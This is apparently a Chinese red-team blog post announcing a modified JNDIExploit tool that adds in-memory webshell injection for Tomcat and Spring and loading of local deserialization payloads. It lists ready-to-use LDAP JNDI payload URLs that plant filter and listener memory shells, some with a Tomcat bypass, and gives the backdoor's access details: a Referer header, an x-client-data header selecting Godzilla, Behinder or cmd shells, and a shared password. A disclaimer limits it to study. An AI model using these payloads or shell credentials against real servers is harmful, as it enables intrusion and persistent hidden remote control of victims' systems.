【红队】JNDIExploit 改进版

发布于2025年4月25日2025年7月19日作者:cve-20

【红队】JNDIExploit 改进版

pap1rman 贝雷帽SEC 2025-04-25 05:24

免责声明

本公众号所提供的文字和信息仅供学习和研究使用，
请读者自觉遵守法律法规，不得利用本公众号所提供的信息从事任何违法活动。本公众号不对读者的任何违法行为承担任何责任
。
工具来自网络，安全性自测，如有侵权请联系删除。

工具介绍

对原版JNDIExploit进行修改增加内存马模块和本地序列化文件利用方式

新功能内存马注入，本地序列化文件

内存马路径任意，连接时候添加Referer头https://www.google.com。并通过x-client-data头指定shell类型godzilla/rebeyond/cmd密码统一为goole 

ldap://127.0.0.1:1389/Basic/tomcatMemshellall1 //注入filter内存马
ldap://127.0.0.1:1389/Basic/tomcatMemshellall2 //注入Listener内存马
ldap://127.0.0.1:1389/Basic/springmemshellall1
ldap://127.0.0.1:1389/tomcatBypass/tomcatmemshellall1 // bypypass绕过方式注入内存shell 
ldap://127.0.0.1:1389/tomcatBypass/tomcatmemshellall2
ldap://127.0.0.1:1389/tomcatBypass/springmemshellall1

新增自定义反序列化可以将yso等反序列化内容放到本地然后加载

工具使用